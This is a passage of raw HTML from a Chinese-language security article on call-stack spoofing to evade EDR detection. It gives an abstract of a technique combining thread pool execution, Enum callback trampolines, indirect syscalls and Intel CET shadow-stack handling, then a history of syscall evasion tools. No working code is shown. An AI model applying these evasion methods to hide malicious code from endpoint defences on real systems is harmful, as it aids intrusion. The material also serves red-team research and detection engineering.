start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">1. 摘要</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现代端点检测与响应（EDR）解决方案越来越依赖调用栈检查来捕获可疑的系统调用。当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NtProtectVirtualMemory</span></code><span leaf="">之类的调用触发时，EDR 会遍历线程的调用栈。如果任何返回地址指向无后备内存（unbacked memory），该操作就会被标记。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文介绍一种调用栈伪造技术，结合了三个原语：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Windows 线程池执行</span></strong><p><span leaf="">，用于获得干净的栈基</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Enum 回调跳板</span></strong><p><span leaf="">，用于获得真实的、合法的中间栈帧</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;"><span leaf="">间接系统调用</span></strong><p><span leaf="">，用于获得干净的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">返回地址</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结果是：在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">执行的那一刻，调用栈中的每一帧都由已签名的 Windows 模块支撑。没有合成帧，没有伪造的展开数据，没有障眼法。Enum 函数确实在栈上，因为我们确实调用了它。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里的实际贡献不在于各个组件本身。所有组件此前都已被其他研究者发表（在第 13 节中致谢）。我所做的是将它们组合起来，最重要的是 </span><strong><span leaf="">CET 兼容机制</span></strong><span leaf="">：基于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">的上下文切换，结合使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RDSSPQ</span></code><span leaf="">/</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">直接进行影子栈指针对账。这使得该技术能在启用 Intel CET 硬件强制的系统上工作，而无需触碰展开元数据。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PoC 使用 Rust 编写，包含内联汇编，并以完整的 CET 支持（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/CETCOMPAT</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/guard:ehcont</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">control-flow-guard</span></code><span leaf="">）编译。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2. 系统调用规避简史</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在深入之前，让我先提供一些背景，说明我们是如何走到这一步的。攻击者与防御者之间围绕系统调用的猫鼠游戏已经持续多年，了解这段历史有助于理解为什么 CET 兼容性现在如此重要。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2.1 API 钩子与直接系统调用时代（约 2019-2020）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">多年来，EDR 依赖用户模式 API 钩子。EDR 向每个进程注入一个 DLL，在敏感的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">函数（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NtAllocateVirtualMemory</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NtProtectVirtualMemory</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NtWriteVirtualMemory</span></code><span leaf="">等）的开头放置跳板，拦截每次调用以在放行前检查参数。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012909" alt="User-mode hooking" class="rich_pages wxw-img" data-ratio="0.600925925925926" data-type="png" data-w="1080" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9938b979&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShibN6uGJpIx2UaBbcAcBlfaPtoxEESHF0NmZY5QY6CeAS2GzaZwb4JvAxdytVjH16OFObC2YJwN4VkibboXoicia7RBPgk960iavOY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">User-mode hooking</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">图片来源：RedOps</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">攻击方的回应是 </span><strong><span leaf="">直接系统调用</span></strong><span leaf="">：完全跳过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">。将系统服务号（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSN</span></code><span leaf="">）加载到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RAX</span></code><span leaf="">中，从你自己的代码执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">。没有 API 调用，没有钩子，没有拦截。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SysWhispers（作者 @jthuraisamy）通过生成头文件/ASM 桩使这一技术变得易于使用。SysWhispers2 改进了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSN</span></code><span leaf="">解析。大约同一时间，am0nsec 和 smelly__vx 的 Hell&#39;s Gate 引入了通过在内存中解析 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">来动态解析 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSN</span></code><span leaf="">的方法。trickster0 的 Halo&#39;s Gate和 Tartarus&#39; Gate 处理了某些桩被钩住的情况。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012911" alt="Direct syscalls principle diagram" class="rich_pages wxw-img" data-ratio="0.5861111111111111" data-type="png" data-w="1080" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=cc0c0284&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjaHDM7ohtZ2TyjpCsdTAuKmWbvljFtQzv15F57y7V487J52b2PYL8RrZR9zKFCfy3PoajfbDxlYDYDLx7rt96orcLBs4IibUTA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Direct syscalls principle diagram</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">图片来源：RedOps</span></em></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2.2 EDR 的反击：内核遥测（约 2021）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">EDR 厂商意识到钩住 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">是一场注定失败的战斗。如果攻击者能在你的进程中运行代码，他们可以直接解除所有钩子。因此，焦点转向了内核级遥测：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Microsoft-Windows-Threat-Intelligence</span></code><span leaf="">ETW 提供者、内核回调，以及最重要的——从内核侧进行调用栈遍历。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用直接系统调用时，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">执行那一刻的调用栈如下：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">0x00007FF7A1230042    ← your code (maybe unbacked memory)</span><span leaf=""><br/></span><span leaf="">kernel32!BaseThreadInitThunk+0x17</span><span leaf=""><br/></span><span leaf="">ntdll!RtlUserThreadStart+0x2C</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第一帧就是铁证。游戏结束。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2.3 间接系统调用（约 2021-2022）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">答案是 </span><strong><span leaf="">间接系统调用</span></strong><span leaf="">：不从你的代码执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">，而是跳转到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">中已有的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall; ret</span></code><span leaf="">序列。这一技术由 @modexpblog（MDSec）在其博文&#34;Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams&#34;中推广，后来由 klezVirus 在 SysWhispers3 中形式化。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">立即返回地址现在指向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntdll.dll</span></code><span leaf="">。干净了。但栈的其余部分仍然暴露了真正的调用者。EDR 开始更深入地遍历。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012910" alt="Indirect syscalls principle diagram" class="rich_pages wxw-img" data-ratio="0.5861111111111111" data-type="png" data-w="1080" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ee17204f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShwJ3vhIAplFHJ1dG5hrL3LtRpW6kKdysRHqRaR76u3l8GUiaGyMCJ3zuD2w1qpNajtM4bq2eiaoxWtOXic3ibicuj7jCLDiaRyHzwSo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Indirect syscalls principle diagram</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">图片来源：RedOps</span></em></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2.4 调用栈伪造（约 2022-2023）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下一步：伪造整个栈。让每一帧看起来都合法。多位研究者对此进行了探索：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">mgeeky 的 ThreadStackSpoofer（睡眠期间的被动伪造）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">klezVirus 的 SilentMoonwalk（使用合成可展开帧的动态伪造）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">WithSecure Labs 的 VulcanRaven（返回地址操纵）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">susMdT 的 LoudSunRun（结合 SilentMoonwalk + VulcanRaven）</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Kudaes 的 Unwinder（基于 Rust 的栈伪造）</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 